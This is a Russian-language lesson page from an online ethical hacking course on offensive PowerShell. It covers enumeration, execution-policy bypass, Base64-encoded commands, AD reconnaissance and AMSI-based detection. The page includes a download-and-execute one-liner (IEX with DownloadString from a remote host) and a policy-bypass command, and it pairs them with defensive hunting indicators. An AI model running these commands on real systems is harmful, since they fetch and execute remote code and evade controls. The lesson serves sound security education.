PowerShell для атакующих
Наступательное применение PowerShell
«PowerShell для атакующих» — бесплатный урок Ethical Hacking Academy на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Ethical Hacking Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Ethical Hacking Academy содержит 4 уроков всего.
Почему PowerShell
PowerShell встроен в Windows, глубоко интегрирован с OS и .NET и пользуется доверием администраторов. Поэтому он особенно популярен среди злоумышленников как инструмент living-off-the-land — вредоносное ПО не требуется загружать на систему.
В этом уроке рассматриваются концепции наступательного PowerShell, которые необходимо понимать для атак и защиты Windows.
Командлеты и конвейер
Команды PowerShell — это командлеты в форме «глагол-существительное». Они передают по конвейеру содержательные объекты, а не только текст, что делает перечисление мощным инструментом.
Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name, IdПеречисление системы
Злоумышленники используют встроенные командлеты, чтобы быстро изучить узел: пользователей, службы, сеть и обновления.
Get-LocalUser
Get-Service | Where-Object Status -eq 'Running'
Get-NetTCPConnection -State ListenПолитика выполнения — это не безопасность
Политика выполнения ограничивает запуск файлов сценариев, но не является границей безопасности. Ее можно обойти с помощью множества простых флагов, поэтому защитникам не следует на нее полагаться.
powershell -ExecutionPolicy Bypass -File script.ps1Загрузка и запуск
Распространенный прием — загрузить полезную нагрузку и запустить ее в памяти, практически не оставив следов на диске. Поэтому важен мониторинг сети и AMSI.
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/tool.ps1')Кодированные команды
Флаг -EncodedCommand запускает PowerShell с командами, закодированными в Base64. Его часто используют, чтобы скрыть намерение от поверхностной проверки и простых фильтров.
Защитники декодируют такие команды из журналов, чтобы выяснить, что именно было запущено.
powershell -EncodedCommand <base64-here>Наступательные платформы
Зрелые наборы инструментов используют эти базовые возможности:
- PowerSploit / PowerView — перечисление AD и действия после эксплуатации.
- Empire / Covenant — командование и управление.
- Nishang — наступательные сценарии.
Большинство из них уже хорошо распознается средствами защиты по сигнатурам.
Разведка Active Directory
В домене PowerShell (PowerView или модуль AD) отображает пользователей, группы и отношения доверия — основу для поиска пути к Domain Admin.
Get-ADUser -Filter * -Properties LastLogonDate
Get-ADGroupMember 'Domain Admins'AMSI и журналирование
Microsoft добавила специальные средства защиты от злоупотребления PowerShell:
- AMSI (интерфейс сканирования защиты от вредоносных программ) проверяет содержимое сценариев перед выполнением.
- Журналирование блоков сценариев записывает выполняемые действия.
- Режим ограниченного языка ограничивает опасные возможности.
Злоумышленники пытаются обойти AMSI, а защитники отслеживают журналы.
Охота за угрозами
Команды защиты ищут вредоносный PowerShell по следующим признакам:
- Закодированные или обфусцированные команды.
- Сетевые загрузки с помощью
DownloadString/IEX. - Необычные родительские процессы (например, Office запускает PowerShell).
- Журналы блоков сценариев AMSI и событий с ID 4104.
Используйте эти знания этично
Эти приемы обладают большой силой и напрямую соответствуют методам реальных вторжений. Запускайте их только в собственной лаборатории или при наличии явного письменного разрешения.
Практика защиты — чтение журналов и обнаружение срабатываний AMSI — не менее ценна, чем изучение наступательных методов.
Быстрая проверка
Оцените политику выполнения как средство контроля.
Итоги
Вы изучили наступательный PowerShell:
- Основанные на объектах командлеты делают перечисление мощным и незаметным (метод living-off-the-land).
- Загрузка и запуск, кодированные команды и такие платформы, как PowerView и Empire.
- Политика выполнения не обеспечивает безопасность; настоящими средствами защиты являются AMSI и журналирование блоков сценариев.
- Всегда действуйте этично и изучайте защитную сторону.
На этом курс по внутреннему устройству Windows завершен.
Часто задаваемые вопросы
Урок «PowerShell для атакующих» бесплатный?
Да — полный текст урока «PowerShell для атакующих» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Ethical Hacking Academy, подпишись на CoddyKit PRO. Курс Ethical Hacking Academy содержит 4 уроков всего.
Чему я научусь в уроке «PowerShell для атакующих»?
Наступательное применение PowerShell Ты практикуешь Ethical Hacking Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.
Нужен ли мне опыт, чтобы начать Ethical Hacking Academy?
Предыдущий опыт не требуется. Ethical Hacking Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.
Сколько времени занимает урок «PowerShell для атакующих»?
Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.
Можно ли писать и запускать код в этом уроке Ethical Hacking Academy?
Да. Каждый урок Ethical Hacking Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.
Все уроки этого курса
- Архитектура Windows
- Реестр
- Аутентификация Windows
- PowerShell для атакующих